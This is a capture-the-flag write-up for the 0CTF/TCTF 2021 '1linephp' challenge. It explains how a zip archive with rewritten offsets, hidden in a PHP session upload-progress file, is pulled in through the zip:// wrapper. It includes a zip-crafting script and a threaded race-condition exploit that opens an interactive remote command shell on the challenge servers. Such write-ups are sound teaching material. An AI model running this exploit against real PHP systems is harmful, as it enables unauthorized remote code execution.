메인 컨텐츠로 넘어가기

0CTF/TCTF - 1linephp

Description

http://111.186.59.2:50080
http://111.186.59.2:50081
http://111.186.59.2:50082
The three servers are the same, you can choose any one. server will be reset every 10 minutes.

So, this is almost same with https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html but the approach for the exploit is different.

Original (from HITCON)

<?php
  ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

Original was about making session file with PHP_SESSION_UPLOAD_PROGRESS and include this session file with PHP Wrapper's base64 decode trick.

0CTF/TCTF 2021

<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');

At this time, we need to bypass .php via somehow because we cannot create a session file with forbidden string like . and _ in PHP. Now, we can imagine three ways for bypass .php

  1. http with comment(#)
  2. phar wrapper with directory(/)
  3. zip wrapper with directory(#)

Following phpinfo, we cannot use http because allow_url_include is set as Off.

Then, how about phar:// wrapper? The answer is we cannot do this.

If you check https://github.com/php/php-src/blob/PHP-7.4.11/ext/phar/phar.c#L3248, you will realize that there is a extension checking logic (check whether .phar exists at filename or not). So, we cannot use phar also.

And now, I'll tell about the funny fact of zip. Do you know that zip file is not required for starting with PK signature? If we define proper offset for the zip file, there is no need to start with zip file signature at start of file.

Check https://en.wikipedia.org/wiki/ZIP_%28file_format%29, there are two important section for zip structure - Central directory file header and End of central directory record.

In Central directory file header, you can check offset 42 is like below.

Relative offset of local file header. This is the number of bytes between the start of the first disk on which the file occurs, and the start of the local file header. This allows software reading the central directory to locate the position of the file inside the ZIP file.

So, if we declare the start offset of zip, we can make a valid zip with some random string at head of file. And also,

In End of central directory record, you can check offset 16 is like below.

Offset of start of central directory, relative to start of archive (or 0xffffffff for ZIP64)

In fact, I didn't think this will be required for making valid zip structure. But, if we don't modify this as correct offset, the zip file is invalid. Anyway, I made a python file for crafting valid zip.

# PK offset modifier by sqrtrev
# python2

s = raw_input("String to add: ")
fname = raw_input("Zip file directory: ")

f = open(fname, "rb")
pay = f.read().encode('hex')
f.close()

#print pay.encode('hex')

# Central directory file header signature
idx = pay.index("504b0102")
idx += 4 * 2
idx += 2 * 2
idx += 2 * 2
idx += 2 * 2
idx += 2 * 2
idx += 2 * 2
idx += 2 * 2
idx += 4 * 2
idx += 4 * 2
idx += 4 * 2
idx += 2 * 2
idx += 2 * 2
idx += 2 * 2
idx += 2 * 2
idx += 2 * 2
idx += 4 * 2

# modify relative offset of local file header
stage1 = pay[:idx]
stage1 += chr(len(s)).encode('hex')[2:].ljust(4*2, '0')
stage1 += pay[idx+4*2:]

# End of central directory signature
idx = stage1.index("504b0506")
idx += 4 * 2
idx += 2 * 2
idx += 2 * 2
idx += 2 * 2
idx += 2 * 2
idx += 4 * 2
idx += 4 * 2

# modify offset of start of central directory
stage2 = stage1[:idx]
stage2 += hex(len(s))[2:].ljust(4*2, '0')
stage1 += stage1[idx+4*2:]

f = open(fname+"_modified", "wb")
f.write(s+stage2.decode('hex'))
f.close()

with this, I could make a valid zip with prefix,upload_progress_. And then I made a final zip by removing the upload_progress_ in crafted zip file (since we don't need upload_progress_ at this time. This is just for making and checking valid zip file. The server will add this prefix automatically when we generate session.)

And I did race condition for including this session file.

So, final payload was

import requests
import threading

#HOST = 'http://4z.is/0ctf.php?yxxx=zip:///var/lib/php/sessions/sess_sqrtrev%23payload&1=ls%20/;echo%20sqrtrev_hehe'
HOST = 'http://111.186.59.2:50080/?yxxx=zip:///tmp/sess_sqrtrev%23payload&1=ls%20/;echo%20sqrtrev_hehe'
headers = {
    'Connection': 'close', 
    'Cookie': 'PHPSESSID=sqrtrev'
}

f = open("pay_final.zip","rb")
pay = f.read()
dummy = "a" * (8000000-1)

data = {
    'PHP_SESSION_UPLOAD_PROGRESS': pay
}

def run():
    while True:
        conn = requests.post(HOST, files={"f": dummy}, data=data, headers=headers)
        r1 = conn.text
        #print r1

for i in range(10):
        T = threading.Thread(target=run, args=())
        T.start()

while True:
    cmd = raw_input("$ ")
    while True:
        conn = requests.get("http://111.186.59.2:50080/?yxxx=zip:///tmp/sess_sqrtrev%23payload&1="+cmd+";echo sqrtrev_hehe")
        r1 = conn.text
        if 'sqrtrev_hehe' in r1:
            print r1[1:r1.index("sqrtrev_hehe")]
            break
컨텐츠 처음으로 돌아가기